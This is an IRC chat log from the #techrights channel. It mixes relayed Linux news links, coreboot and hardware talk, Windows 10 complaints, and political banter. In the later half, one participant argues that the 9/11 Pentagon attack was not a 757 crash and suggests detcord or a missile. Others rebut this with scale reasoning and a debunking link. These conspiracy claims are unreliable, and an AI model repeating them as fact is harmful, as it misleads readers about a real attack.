| msb_ | But even the a-hole said that Assad (who was re-elected in 2014) was necessary rid Syria of ISIL and Al Qaeda. | Oct 04 13:22 |
| msb_ | At MinceR's suggestion I asked a Russian guy if he felt like he is living in a dictatorship. He said that Russian laws on speech are overly restrictive, but are enforced only infrequently. | Oct 04 13:25 |
| msb_ | Oil spill docu: horrible pictures of shrimps with tumors growing out of them, due to the "Corexit" dispersant sprayed to hide the oil. US govt official filmed saying that there was no oil on the sea floor. Movies shot out of a mini-sub showed the sea floor totally covered with oil. This from a US TV station. | Oct 04 13:53 |
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| schestowitz | https://twitter.com/Metztli_IT/status/650651868360667136 | Oct 04 14:01 |
| -TechrightsBot-tr/#techrights-@Metztli_IT: C00l Built for #Debian sometime ago because I needed #mencoder. Since then, I wrote my notes https://t.co/luuL2PG2Ht https://t.co/3KGuPtE0de | Oct 04 14:01 | |
| -TechrightsBot-tr/#techrights--> metztli.it | From Ксения [Xenia] to Мария [Maria] With ffmpeg, gnome-subtitles, and mencoder | Oct 04 14:01 | |
| -TechrightsBot-tr/#techrights-@schestowitz: #MPlayer 1.2 released http://t.co/r19HjXiVMg | Oct 04 14:01 | |
| XRevan86 | Ксения == Ksenia | Oct 04 14:02 |
| XRevan86 | not Zenia | Oct 04 14:02 |
| msb_ | XRevan86: This is all the fault of the Evil Empire (Russia) for having two or three different ways to spell the same word, and for re-using the Roman/English alphabet with some of the letters turned backwards and pronounced differently. That's just plain wrong! | Oct 04 14:06 |
| XRevan86 | msb_: Russian mostly has only one way of spelling %) | Oct 04 14:07 |
| XRevan86 | in cyrillic | Oct 04 14:07 |
| XRevan86 | problem is that in English "X" in the beginning of the word can mean "Z" | Oct 04 14:08 |
| XRevan86 | and mostly does | Oct 04 14:08 |
| XRevan86 | with few exceptions | Oct 04 14:08 |
| msb_ | Xenophobes are afraid of Xerox machines! | Oct 04 14:09 |
| XRevan86 | Fun fact: photocopies in Russian are called kserocopies | Oct 04 14:10 |
| msb_ | LOL! | Oct 04 14:10 |
| XRevan86 | and device itself: kserox :) | Oct 04 14:12 |
| msb_ | When I hear a German guy talk, I (knowing nothing of German), think it sounds like he's saying he's gonna kill me. | Oct 04 14:12 |
| msb_ | But Russians, I don't know what to make of them. | Oct 04 14:13 |
| msb_ | XBox is evil! | Oct 04 14:13 |
| msb_ | French or Spanish, we can understand every second to fourth word. | Oct 04 14:14 |
| msb_ | But one Russian phrase is very clear: Tsar Bomba | Oct 04 14:14 |
| msb_ | I'll bet that filled the shorts of some US military guys when they found out about it! | Oct 04 14:16 |
| XRevan86 | msb_: %) | Oct 04 14:19 |
| XRevan86 | msb_: Russian is not a Roman language so no wonder. | Oct 04 14:19 |
| msb_ | That's exactly it. If old Cyril had known and liked French or Latin, he would have made it much easier. | Oct 04 14:21 |
| XRevan86 | msb_: I'm not talking about alphabet :) | Oct 04 14:24 |
| XRevan86 | msb_: and old Cyrill is older than France %) | Oct 04 14:25 |
| XRevan86 | but younger than Rome Empire | Oct 04 14:27 |
| schestowitz | https://twitter.com/schestowitz/status/650590217221591040 | Oct 04 14:29 |
| -TechrightsBot-tr/#techrights-@schestowitz: Is there any >large< news network in #russia that actually dares to criticise the (Russian) Establishment much? Any in English language? | Oct 04 14:29 | |
| msb_ | So Cyrill used the Roman alphabet, but he didn't know how to pronounce the letters. | Oct 04 14:30 |
| XRevan86 | msb_: They probably had no idea Latin alphabet existed. | Oct 04 14:30 |
| XRevan86 | msb_: Cyrillic is based on Greek alphabet. | Oct 04 14:31 |
| msb_ | schestowitz: Russia doesn't need those, the US has plenty. MinceR is fond of directing us to articles in Radio Free Europe! But every other corporate US network reports on and smears Russia, according to the US govt line. | Oct 04 14:34 |
| msb_ | schestowitz: And as I said, I saw an RT program in which Putin was criticized. | Oct 04 14:35 |
| schestowitz | https://twitter.com/AJimenez1988/status/650665843441934337 | Oct 04 14:39 |
| -TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz I find outright banning more honest than flaying someone alive with copyright lawsuits. | Oct 04 14:39 | |
| schestowitz | how so? | Oct 04 14:55 |
| schestowitz | https://joindiaspora.com/p/6663989 | Oct 04 14:55 |
| -TechrightsBot-tr/#techrights-joindiaspora.com | In #singapore 'elections' are a sham. #pap cannot be defeated, both... | Oct 04 14:55 | |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | today's leftovers | Tux Machines | Oct 04 16:10 | |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Software | Tux Machines | Oct 04 16:11 | |
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| schestowitz | > Dear Roy, | Oct 04 17:00 |
| schestowitz | > | Oct 04 17:00 |
| schestowitz | > | Oct 04 17:00 |
| schestowitz | > | Oct 04 17:00 |
| schestowitz | > I just read your above-mentioned blog post. Specifically with regard to transparency and democracy in the UPC context, do you know my papers “Law-making in camera” (accessible here) and “The sub-sub-suboptimal compromise of the EU Parliament” (accessible here) from 2013? Having a look might be worthwhile. | Oct 04 17:00 |
| schestowitz | Thanks, I shall have a look in the coming back as I've just returned home after 2 weeks. | Oct 04 17:00 |
| cubexyz | people are rightly suspicious of Vpro but AMD has DASH which is similar: | Oct 04 17:06 |
| cubexyz | http://www.maxhost.org/other/amd-dash.jpg | Oct 04 17:07 |
| cubexyz | you can easily get an AMD motherboard without DASH, it's just one more thing to watch out for | Oct 04 17:08 |
| cubexyz | understanding the PC has got a lot harder | Oct 04 17:13 |
| cubexyz | there's a bit of a bias with coreboot developers | Oct 04 17:18 |
| cubexyz | basically server motherboards are getting much more attention | Oct 04 17:18 |
| cubexyz | data centres and server farms get higher priority thus server motherboards get more attention | Oct 04 17:19 |
| cubexyz | coreboot has spawned distributions | Oct 04 17:21 |
| cubexyz | SageBIOS for one | Oct 04 17:22 |
| cubexyz | http://www.alliedelec.com/minnowboard-999-0004910/70413112/#tab=overview | Oct 04 17:27 |
| -TechrightsBot-tr/#techrights-www.alliedelec.com | MinnowBoard - 999-0004910 - MinnowBoard MAX Intel Atom E3825 Dual-Core Development Board - Allied Electronics [ http://ur1.ca/nwwu3 ] | Oct 04 17:27 | |
| TweetTuxMachines | @tuxmachines Wine Staging: Release 1.7.52 | Oct 04 17:45 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Wine Staging: Release 1.7.52 | Tux Machines | Oct 04 17:45 | |
| TweetTuxMachines | @tuxmachines Manjaro 15.09 (Bellatrix) Update With Calamares | Oct 04 17:45 |
| TweetTuxMachines | Installer, Tweaks And Latest Applications | Oct 04 17:45 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Manjaro 15.09 (Bellatrix) Update With Calamares Installer, Tweaks And Latest Applications | Tux Machines | Oct 04 17:45 | |
| TweetTuxMachines | @tuxmachines RapidDisk / RapidCache 3.4 now available. | Oct 04 17:45 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | RapidDisk / RapidCache 3.4 now available. | Tux Machines | Oct 04 17:45 | |
| TweetTuxMachines | @tuxmachines Data indicates that Android picked up global | Oct 04 18:32 |
| TweetTuxMachines | market share from iOS last month | Oct 04 18:32 |
| TweetTuxMachines | http://t.co/AEhHBEKgtc (www.phonearena.com) | Oct 04 18:32 |
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| -TechrightsBot-tr/#techrights-www.phonearena.com | Data indicates that Android picked up global market share from iOS last month | Oct 04 18:32 | |
| TweetTuxMachines | @tuxmachines Curious about Linux? Try Linux Desktop on the | Oct 04 18:32 |
| TweetTuxMachines | Cloud http://t.co/SYevGHv7a8 | Oct 04 18:32 |
| TweetTuxMachines | (www.linuxlinks.com) | Oct 04 18:32 |
| -TechrightsBot-tr/#techrights-www.linuxlinks.com | Curious about Linux? Try Linux Desktop on the Cloud - Linux Links - The Linux Portal Site | Oct 04 18:32 | |
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| TweetTuxMachines | @tuxmachines Ubuntu To Make It Easier To Ship Micro-Release | Oct 04 18:32 |
| TweetTuxMachines | Updates, New Features Post-LTS | Oct 04 18:32 |
| TweetTuxMachines | http://t.co/SrMthtCLBs (www.phoronix.com) | Oct 04 18:32 |
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| -TechrightsBot-tr/#techrights-www.phoronix.com | Ubuntu To Make It Easier To Ship Micro-Release Updates, New Features Post-LTS - Phoronix | Oct 04 18:32 | |
| TweetTuxMachines | @tuxmachines Netrunner Rolling 2015.09 – 64bit released | Oct 04 18:37 |
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| -TechrightsBot-tr/#techrights-www.netrunner.com | Netrunner Rolling 2015.09 – 32 & 64bit released | Netrunner | Oct 04 18:37 | |
| TweetTuxMachines | @tuxmachines Samsung Galaxy Tab S2 review: One of the best | Oct 04 18:37 |
| TweetTuxMachines | Android tablets available out there | Oct 04 18:37 |
| TweetTuxMachines | http://t.co/ryA0uQAKkp | Oct 04 18:37 |
| -TechrightsBot-tr/#techrights-economictimes.indiatimes.com | Samsung Galaxy Tab S2 review: One of the best Android tablets available out there - The Economic Times | Oct 04 18:37 | |
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| TweetTuxMachines | @tuxmachines Today in Techrights http://t.co/ZYaVd59QXN | Oct 04 18:38 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 04 18:38 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Today in Techrights | Tux Machines | Oct 04 18:38 | |
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| TweetTuxMachines | @tuxmachines Nvidia Shield Android TV review | Oct 04 18:41 |
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| -TechrightsBot-tr/#techrights-www.eurogamer.net | Nvidia Shield Android TV review • Eurogamer.net | Oct 04 18:41 | |
| TweetTuxMachines | @tuxmachines There's A Lot Of Exciting AMDGPU DRM Code | Oct 04 18:41 |
| TweetTuxMachines | Brewing For Eventual Catalyst Support | Oct 04 18:41 |
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| -TechrightsBot-tr/#techrights-www.phoronix.com | There's A Lot Of Exciting AMDGPU DRM Code Brewing For Eventual Catalyst Support - Phoronix | Oct 04 18:41 | |
| TweetTuxMachines | @tuxmachines Links 4/10/2015: Linux 4.2.3 , 4.1.10; MPlayer | Oct 04 18:41 |
| TweetTuxMachines | 1.2 released http://t.co/QDR0RwXlZb | Oct 04 18:41 |
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| -TechrightsBot-tr/#techrights-techrights.org | Links 4/10/2015: Linux 4.2.3 , 4.1.10; MPlayer 1.2 released | Techrights | Oct 04 18:41 | |
| *TweetTuxMachines @schestowitz retweeted @tuxmachines: 'Today in Techrights http://t.co/ZYaVd59QXN' | Oct 04 18:46 | |
| TweetTuxMachines | @tuxmachines Microsoft Continues to Extort Linux and Android | Oct 04 18:46 |
| TweetTuxMachines | OEMs Using Software Patents, This Time ASUS | Oct 04 18:46 |
| TweetTuxMachines | (Forced to Pre-Instal... | Oct 04 18:46 |
| TweetTuxMachines | https://t.co/XVNEkFhrae (joindiaspora.com) | Oct 04 18:46 |
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| -TechrightsBot-tr/#techrights-joindiaspora.com | Microsoft Continues to Extort Linux and Android OEMs Using Software... | Oct 04 18:46 | |
| TweetTuxMachines | @tuxmachines A Linux World: After Billions of Dollars in | Oct 04 18:49 |
| TweetTuxMachines | Losses Microsoft Changes How It Reports | Oct 04 18:49 |
| TweetTuxMachines | Financial Results | Oct 04 18:49 |
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| -TechrightsBot-tr/#techrights-techrights.org | A Linux World: After Billions of Dollars in Losses Microsoft Changes How It Reports Financial Results | Techrights | Oct 04 18:49 | |
| TweetTuxMachines | @tuxmachines Today in Techrights http://t.co/fIEdltWLvi | Oct 04 18:49 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 04 18:49 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Today in Techrights | Tux Machines | Oct 04 18:49 | |
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| *TweetTuxMachines @schestowitz retweeted @tuxmachines: 'A Linux World: After Billions of Dollars in...' | Oct 04 19:13 | |
| *TweetTuxMachines @The_Code_Shirts retweeted @tuxmachines: 'A Linux World: After Billions of Dollars in...' | Oct 04 19:13 | |
| *TweetTuxMachines @TechCraiz favourited 'Update on Wayland support in Fedora 23 http://t.co/NntkuiMkOq...' | Oct 04 19:37 | |
| -TechrightsBot-tr/#techrights-fedoramagazine.org | Update on Wayland support in Fedora - Fedora Magazine | Oct 04 19:37 | |
| cubexyz | from an actual Microsoft forum: | Oct 04 19:43 |
| schestowitz | ... | Oct 04 19:43 |
| cubexyz | "This new, 'great' operating system has ruined my computer. After a short period of time, my computer stops working. Nothing. Not a thing works. I am forced to do hard restarts several times a day. This is terrible. Windows 10 has ruined my computer. I am devastated." | Oct 04 19:44 |
| schestowitz | link? | Oct 04 19:44 |
| schestowitz | I want to link to that | Oct 04 19:44 |
| cubexyz | http://answers.microsoft.com/en-us/windows/forum/windows_10-hardware/windows-10-has-ruined-my-computer/a91c8b28-cc3c-4919-b772-970c1ffb9a9a?auth=1 | Oct 04 19:44 |
| -TechrightsBot-tr/#techrights-answers.microsoft.com | Windows 10 Has Ruined My Computer - Microsoft Community [ http://ur1.ca/nwxh3 ] | Oct 04 19:44 | |
| TweetTuxMachines | @tuxmachines Today in Techrights http://t.co/fIEdltWLvi | Oct 04 19:45 |
| TweetTuxMachines | retweeted by (www.tuxmachines.org) | Oct 04 19:45 |
| TweetTuxMachines | @schestowitz | Oct 04 19:45 |
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| TweetTuxMachines | @tuxmachines IRC Proceedings: September 13th, 2015 – October | Oct 04 19:46 |
| TweetTuxMachines | 3rd, 2015 http://t.co/sxkFUZ3nOH | Oct 04 19:46 |
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| -TechrightsBot-tr/#techrights-techrights.org | IRC Proceedings: September 13th, 2015 – October 3rd, 2015 | Techrights | Oct 04 19:46 | |
| TweetTuxMachines | @tuxmachines Curious about Linux? Try Linux Desktop on the | Oct 04 19:46 |
| TweetTuxMachines | retweeted by Cloud http://t.co/SYevGHv7a8 | Oct 04 19:46 |
| TweetTuxMachines | @newlinuxuser (www.linuxlinks.com) | Oct 04 19:46 |
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| -TechrightsBot-tr/#techrights-www.linuxlinks.com | Curious about Linux? Try Linux Desktop on the Cloud - Linux Links - The Linux Portal Site | Oct 04 19:46 | |
| cubexyz | schestowitz, keep reading the comments below that one | Oct 04 19:48 |
| cubexyz | it gets even more desperate | Oct 04 19:49 |
| cubexyz | "trying to do a recovery now for 3 hours" | Oct 04 19:50 |
| cubexyz | at least one can walk into most retail computer shops can get a chromebook | Oct 04 19:54 |
| cubexyz | a fully working computer with coreboot | Oct 04 19:54 |
| cubexyz | the fact of the matter is I can't do that with a desktop locally | Oct 04 19:55 |
| cubexyz | there was one shop that preloaded BSD, but he closed shop | Oct 04 19:55 |
| schestowitz | cheers, cubexyz | Oct 04 19:55 |
| *TweetTuxMachines @newlinuxuser favourited 'Curious about Linux? Try Linux Desktop on the...' | Oct 04 19:56 | |
| cubexyz | just learned about free geek: | Oct 04 19:59 |
| cubexyz | http://freegeektoronto.org/ | Oct 04 20:00 |
| -TechrightsBot-tr/#techrights-freegeektoronto.org | Free Geek Toronto | Oct 04 20:00 | |
| cubexyz | used computers preloaded with Linux Mint | Oct 04 20:01 |
| cubexyz | there's definitely a trend here | Oct 04 20:01 |
| cubexyz | the local bestbuy was an utter disappointment | Oct 04 20:10 |
| cubexyz | nothing but windows 10 laptops | Oct 04 20:10 |
| schestowitz | cubexyzwhat is the significance of that? | Oct 04 20:19 |
| schestowitz | Just caught up with it... | Oct 04 20:20 |
| schestowitz | Whilst away | Oct 04 20:20 |
| schestowitz | cubexyzdoes this look like a plane hit the pentagon:Sep 14 10:18 | Oct 04 20:20 |
| schestowitz | cubexyzhttp://www.maxhost.org/other/pentagon-9-11.jpgSep 14 10:19 | Oct 04 20:20 |
| schestowitz | cubexyzshouldn't there be more debris? | Oct 04 20:20 |
| schestowitz | Try another angle | Oct 04 20:20 |
| schestowitz | https://ixquick-proxy.com/do/show_picture.pl?l=english&cat=pics&c=pf&q=picture+of+pentagon+after+hit&h=1500&w=2813&th=84&tw=160&fn=Firefighters_struggle_to_contain_the_fire%252C_after_the_September_11%252C_2001%252C_terrorist_attack_on_the_Pentagon_010911-F-XT317-003.jpg&fs=994.1%20k&el=boss_pics_2,boss_pics_1&tu=https:%2F%2Fs3-eu5.ixquick.com%2Fcgi-bin%2Fserveimage%3Furl%3Dhttp%253A%252F%252Ftse2.mm.bing.net%252Fth%253Fid%253DOIP. | Oct 04 20:20 |
| schestowitz | M5649a5df5023efbef3cf221fa81f396aH0%2526pid%253D15.1%2526H%253D84%2526W%253D160%26sp%3Dac6bf89334669210bc5c941f059b78bd&rl=NONE&u=https:%2F%2Fcommons.wikimedia.org%2Fwiki%2FFile:Firefighters_struggle_to_contain_the_fire,_after_the_September_11,_2001,_terrorist_attack_on_the_Pentagon_010911-F-XT317-003.jpg&udata=35c318f309186cb5d15ac2dc1521c447&rid=LJLOONTSQMQP598OQTKUE&oiu=https:%2F%2Fupload.wikimedia.org%2Fwikipedia%2Fcommons%2F0%2F0d% | Oct 04 20:20 |
| schestowitz | 2FFirefighters_struggle_to_contain_the_fire%252C_after_the_September_11%252C_2001%252C_terrorist_attack_on_the_Pentagon_010911-F-XT317-003.jpg | Oct 04 20:20 |
| cubexyz | holy, is that one URL? | Oct 04 20:20 |
| schestowitz | sorry https://upload.wikimedia.org/wikipedia/commons/thumb/0/0d/Firefighters_struggle_to_contain_the_fire%2C_after_the_September_11%2C_2001%2C_terrorist_attack_on_the_Pentagon_010911-F-XT317-003.jpg/800px-Firefighters_struggle_to_contain_the_fire%2C_after_the_September_11%2C_2001%2C_terrorist_attack_on_the_Pentagon_010911-F-XT317-003.jpg | Oct 04 20:20 |
| -TechrightsBot-tr/#techrights-ixquick-proxy.com | NO TITLE [ http://ur1.ca/nwxn4 ] | Oct 04 20:20 | |
| schestowitz | cubexyz: yes, anonymised in a way | Oct 04 20:21 |
| schestowitz | izquick | Oct 04 20:21 |
| schestowitz | always ask what one shows you | Oct 04 20:21 |
| schestowitz | sometimes people show photos from syria regarding gaza | Oct 04 20:21 |
| schestowitz | or something which does not represent the caption | Oct 04 20:21 |
| schestowitz | esp. in the "turther" debates | Oct 04 20:21 |
| schestowitz | or accelerated videos | Oct 04 20:21 |
| schestowitz | to support the "freefall speed" theory | Oct 04 20:21 |
| cubexyz | schestowitz, I'm not doubting something hit the Pentagon but there's no pics of debris of airplane seats, wings, etc | Oct 04 20:22 |
| cubexyz | I just thought it was very odd | Oct 04 20:22 |
| cubexyz | unless all the debris ended up inside the building | Oct 04 20:22 |
| schestowitz | original source was http://www.defenseimagery.mil/imagery.html?&guid=73e7382459a00b2d05e58951e458289661880405 | Oct 04 20:22 |
| -TechrightsBot-tr/#techrights-Failure when receiving data from the peer ( status 0 @ http://www.defenseimagery.mil/imagery.html?&guid=73e7382459a00b2d05e58951e458289661880405 ) | Oct 04 20:22 | |
| schestowitz | http://i.usatoday.net/news/_photos/2011/09/08/Editorial-Success-and-excess-since-911-ALC4BLE-x.jpg | Oct 04 20:23 |
| schestowitz | cubexyz: maybe the wings got slipped from the pressure and later picked up | Oct 04 20:23 |
| schestowitz | although they're strongly connected to the torso of the plane | Oct 04 20:23 |
| schestowitz | the wings are the hardest and most crucial part | Oct 04 20:24 |
| cubexyz | schestowitz, there was a news report about it too... the reporter talks about the lack of debris | Oct 04 20:24 |
| schestowitz | but maybe the pentagon is made of strong material with extra metal | Oct 04 20:24 |
| schestowitz | let me check | Oct 04 20:24 |
| schestowitz | if the wing get clipped they can carry on with the plane into the path made inside the building | Oct 04 20:24 |
| schestowitz | which is quite tall, more than the plane | Oct 04 20:24 |
| schestowitz | i once saw the pentagon for real, when I visited washington | Oct 04 20:25 |
| schestowitz | try to envision what would happen to a light plane when entering an armoured building | Oct 04 20:25 |
| schestowitz | and where it would end up | Oct 04 20:25 |
| cubexyz | ah, found it: | Oct 04 20:25 |
| schestowitz | the width of the plane is maybe 5 meters | Oct 04 20:26 |
| cubexyz | http://www.maxhost.org/other/9-11-cnn.mkv | Oct 04 20:26 |
| cubexyz | snopes talks about it as well | Oct 04 20:29 |
| cubexyz | just a Boeing 757 crashing into a building would leave a lot of airplane debris all over the place | Oct 04 20:29 |
| schestowitz | A missile would not have had such an effect, I don't think | Oct 04 20:29 |
| schestowitz | it wouldn't have the power and velocity to slice part the building | Oct 04 20:30 |
| schestowitz | and if it's extremely powerful, it would damage the entire pentagon | Oct 04 20:30 |
| schestowitz | so it look like heavyweight impact to me | Oct 04 20:30 |
| schestowitz | I'd expect the body of the plane to be caught inside the building | Oct 04 20:31 |
| cubexyz | http://www.snopes.com/rumors/pentagon.asp | Oct 04 20:31 |
| -TechrightsBot-tr/#techrights-www.snopes.com | snopes.com: Pentagon Attack Faked Rumor [ http://ur1.ca/nwxow ] | Oct 04 20:31 | |
| schestowitz | not scattered because it has momentum going forward | Oct 04 20:31 |
| cubexyz | yes, that must be it | Oct 04 20:31 |
| schestowitz | like a long metal pipe | Oct 04 20:31 |
| schestowitz | just simulate also the impacy of planes in WTC | Oct 04 20:31 |
| schestowitz | occam's razer | Oct 04 20:31 |
| schestowitz | impact, hole, going all in, melting gear inside, causing chain effer until the girders can't take it anymore | Oct 04 20:32 |
| schestowitz | reproducible, twice, with two planes, same structure | Oct 04 20:32 |
| schestowitz | same planes AFAIK | Oct 04 20:32 |
| schestowitz | In pentagon, no plane part can be left _behind_ | Oct 04 20:33 |
| schestowitz | because of the momentum | Oct 04 20:33 |
| schestowitz | unless the building ctapults something back | Oct 04 20:33 |
| schestowitz | and motion sideways after the body of the plane already broke a hole through the building is not like | Oct 04 20:33 |
| schestowitz | unless only one side of the plane's cockpit hits some super strong metal | Oct 04 20:34 |
| schestowitz | which bounces is sideways, a little... | Oct 04 20:34 |
| schestowitz | missiles explode on impact | Oct 04 20:35 |
| schestowitz | bombs like the 500kg ones that F* planes drop make a hold through the building | Oct 04 20:35 |
| schestowitz | go to the bottom and the centre (core), then explode | Oct 04 20:35 |
| schestowitz | but it wouldn't work sideways | Oct 04 20:35 |
| cubexyz | the four planes were: 767-200ER, another 767-200ER, 757-200 (pentagon), and the 4th one was also a 757-200 | Oct 04 20:35 |
| schestowitz | the idea is to devastate the entire building | Oct 04 20:35 |
| schestowitz | usually leaving a massive deep hole where the building used to stand | Oct 04 20:36 |
| schestowitz | look up some photos | Oct 04 20:36 |
| schestowitz | so the missile theory wouldn't be consistent with a deep path ripping the building into two | Oct 04 20:36 |
| schestowitz | the 757 isn't as big | Oct 04 20:37 |
| schestowitz | it's big, but not very wiide | Oct 04 20:37 |
| schestowitz | I think 6 seater per roq | Oct 04 20:37 |
| schestowitz | *row | Oct 04 20:37 |
| schestowitz | so around 5 meter wide in total | Oct 04 20:37 |
| schestowitz | a strong building would smash the wings | Oct 04 20:37 |
| schestowitz | it's made of light but strong material | Oct 04 20:38 |
| schestowitz | you wouldn't expect it to drag through 50 meters of brick and metal | Oct 04 20:38 |
| schestowitz | not without breaking, maybe folding backgrounds | Oct 04 20:38 |
| schestowitz | so then you'd expect fire at the side of the hole, where the engines used to be | Oct 04 20:38 |
| schestowitz | http://www.maxhost.org/other/pentagon-9-11.jpg | Oct 04 20:39 |
| schestowitz | Looking from this angle it seems possible that the third row of offices/pillars may be been impacted | Oct 04 20:39 |
| schestowitz | but it's too tall to be able to see the plane | Oct 04 20:39 |
| schestowitz | Look at http://i.usatoday.net/news/_photos/2011/09/08/Editorial-Success-and-excess-since-911-ALC4BLE-x.jpg | Oct 04 20:40 |
| schestowitz | compare the height of vehicles to the building | Oct 04 20:40 |
| schestowitz | it's a tall building | Oct 04 20:40 |
| schestowitz | so a look from above can be misleading, use trucks to understand the scale of the plane and where it can fit | Oct 04 20:40 |
| schestowitz | anyway, enough of that... I just saw msb_ pushing this old discussion again in the logs | Oct 04 20:41 |
| cubexyz | I think you've cleared it up :) | Oct 04 20:41 |
| schestowitz | "msb__http://www.judicialwatch.org/archive/2006/flight77-1.mpg That video, supposedly from a pentagon surveillance camera, shows a white cylindrical object approaching the building at the right edge of the screen around 87 seconds in. I thought to compare its height with the height of the building, but it's hard to tell how far it is from the camera." | Oct 04 20:42 |
| schestowitz | The plane is still and short compared to the vast building | Oct 04 20:42 |
| schestowitz | and even msb_, who insists WTC (both totwers) is "controlled demolition", does not believe there is coverup re pentagon | Oct 04 20:43 |
| schestowitz | "The P is 77ft high, and a 757about 12 ft high. So the object height is approximately equal to the height of a 757, 1/7th the height of the building." | Oct 04 20:43 |
| schestowitz | -msd | Oct 04 20:43 |
| schestowitz | msd | Oct 04 20:43 |
| schestowitz | msb even | Oct 04 20:43 |
| schestowitz | so, like I said, at first glance it's shocking | Oct 04 20:44 |
| schestowitz | but a top-down view is misleading | Oct 04 20:44 |
| schestowitz | it doesn't do justice to scale differences | Oct 04 20:44 |
| schestowitz | you'd need to stack up 7 757 planes on top of each other to reach the pentagon's height | Oct 04 20:44 |
| schestowitz | why are we still talking about 9/11 here? | Oct 04 20:46 |
| schestowitz | I keep seeing that the whole day on the 14th was a chat about msb_'s nonsense | Oct 04 20:46 |
| schestowitz | and he has been doing that for years | Oct 04 20:46 |
| schestowitz | discrediting this forum | Oct 04 20:46 |
| cubexyz | I only was curious about the lack of airplane debris, now I'm pretty well done talking about it :) | Oct 04 20:47 |
| cubexyz | mostly these days I talk about BIOS source code and distros | Oct 04 20:48 |
| schestowitz | well, maybe some people are so demanding that they'll ask for photos of the corpses of the pilot and flight attendants | Oct 04 20:48 |
| schestowitz | "show/prove or it didn't happen" | Oct 04 20:48 |
| schestowitz | cubexyz: I see some funny links from MinceR in the logs | Oct 04 20:49 |
| schestowitz | I check in case I missed something while away | Oct 04 20:49 |
| cubexyz | funny links? | Oct 04 20:49 |
| cubexyz | sometimes I don't really paid much attention to non-tech discussions | Oct 04 20:49 |
| schestowitz | http://www.maxhost.org/other/keytronic-trackball-keyboard.jpg | Oct 04 20:50 |
| schestowitz | eww... I remember those. | Oct 04 20:50 |
| schestowitz | http://www.maxhost.org/other/mouse-with-lots-of-buttons.png | Oct 04 20:50 |
| schestowitz | This might actually work, but applications are built for these | Oct 04 20:50 |
| schestowitz | if ported to OSuX, they might also have to assume one button | Oct 04 20:50 |
| schestowitz | long press for menu, no second button | Oct 04 20:50 |
| schestowitz | "cubexyzstallman doesn't like the term 'intellectual property'" | Oct 04 20:53 |
| schestowitz | "XFaCEcubexyz: that's the point of the article :P" | Oct 04 20:53 |
| schestowitz | Well, coming from the guy who called his party "Pirate party" | Oct 04 20:53 |
| schestowitz | reinforcing the pirate analogy/stereotype, or trying to tame it | Oct 04 20:53 |
| schestowitz | " | Oct 04 20:57 |
| schestowitz | cubexyzI don't understand Ken Starks going on about windows 10 Sep 15 06:16 | Oct 04 20:57 |
| schestowitz | cubexyzFOSS people need to talk about FOSS not windows 10 | Oct 04 20:57 |
| schestowitz | " | Oct 04 20:57 |
| schestowitz | That may not be enough | Oct 04 20:57 |
| schestowitz | speaking about what's wrong with what people CURRENTLY use can help reinforce issues they experiences | Oct 04 20:57 |
| schestowitz | *ced | Oct 04 20:57 |
| schestowitz | like dealing with malware | Oct 04 20:57 |
| schestowitz | MinceR: https://i.imgur.com/uouetAb.jpg maybe better for the ignorant | Oct 04 20:58 |
| *schestowitz catches up with http://techrights.org/wp-content/uploads/2015/10/irc-log-techrights-13092015.html | Oct 04 20:58 | |
| -TechrightsBot-tr/#techrights-techrights.org | IRC: #techrights @ FreeNode: September 13th, 2015-September 19th, 2015 [ http://ur1.ca/nwxsp ] | Oct 04 20:58 | |
| schestowitz | based in part on cubelog logs | Oct 04 20:58 |
| schestowitz | " | Oct 04 21:00 |
| schestowitz | cubexyzsocialism is a good thingSep 16 03:39 | Oct 04 21:00 |
| schestowitz | cubexyznot sure why the American politicians think it's a dirty word | Oct 04 21:00 |
| schestowitz | " | Oct 04 21:00 |
| schestowitz | It's bad for rich people | Oct 04 21:00 |
| schestowitz | And rich people fund US politicians | Oct 04 21:00 |
| schestowitz | If it's bad for the 1%, then politicians will say it's bad "for America['s owners]" | Oct 04 21:01 |
| msb_ | Obviously something hit the Pentagon, but IMO there's insufficient evidence to determine what it was. Problems with a 757: 1. very little debris. The Pentagon was built very solidly, so a lot of 757 debris should have landed outside. It didn't. 2. A first responder, who went in before the fire started, reported seeing no passenger chairs. These are built very solidly, designed to withstand 12G or so. And they were not found | Oct 04 21:01 |
| msb_ | outside. 3. The alleged exit hole in the inner wall of the outer ring of the pentagon could not have been made by any part of the plane, since there were columns in the way: http://cosmicpenguin.com/911/images/asce-illus-2.gif The hole looks exactly like a circle of detcord (explosive rope) was hung on the inside of the wall and detonated. | Oct 04 21:01 |
| msb_ | schestowitz: BTW a missile detonates wherever its designers make it detonate. There are penetrator missiles with reinforced noses that can go through the walls of concrete bunkers and detonate inside. | Oct 04 21:03 |
| schestowitz | "msb__In this century, Russia has been about 1/1000th as imperialist as the US, which is attacking it." | Oct 04 21:04 |
| schestowitz | LOL | Oct 04 21:04 |
| schestowitz | if you said decade, well... | Oct 04 21:04 |
| schestowitz | But century, oh dear... | Oct 04 21:04 |
| schestowitz | !google russia invasions east europe | Oct 04 21:05 |
| TechrightsBot-tr | [1] - Russian Non-Invasion Causing Concern in European Capitals | http://russia-insider.com/en/russian-non-invasion-causing-concern-european-capitals/ri8139 | Oct 04 21:05 |
| TechrightsBot-tr | [2] - Put British troops in Eastern Europe to see off invasion by Vladimir ... | http://www.dailymail.co.uk/news/article-3217529/Put-British-troops-Eastern-Europe-invasion-Vladimir-Putin-s-Russia-says-new-report.html | Oct 04 21:05 |
| TechrightsBot-tr | [3] - Russia and Eastern Europe: How worried should Poland, the Baltic ... | http://www.slate.com/blogs/the_world_/2014/09/19/russia_and_eastern_europe_how_worried_should_poland_the_baltic_states_and.html | Oct 04 21:05 |
| TechrightsBot-tr | [4] - Military occupations by the Soviet Union - Wikipedia, the free ... | https://en.wikipedia.org/wiki/Military_occupations_by_the_Soviet_Union | Oct 04 21:05 |
| msb_ | I meant after 2000. | Oct 04 21:05 |
| schestowitz | selective timelines | Oct 04 21:05 |
| msb_ | Not in the last 100 years. | Oct 04 21:05 |
| schestowitz | how do you think Russia got this massive in the first place? | Oct 04 21:05 |
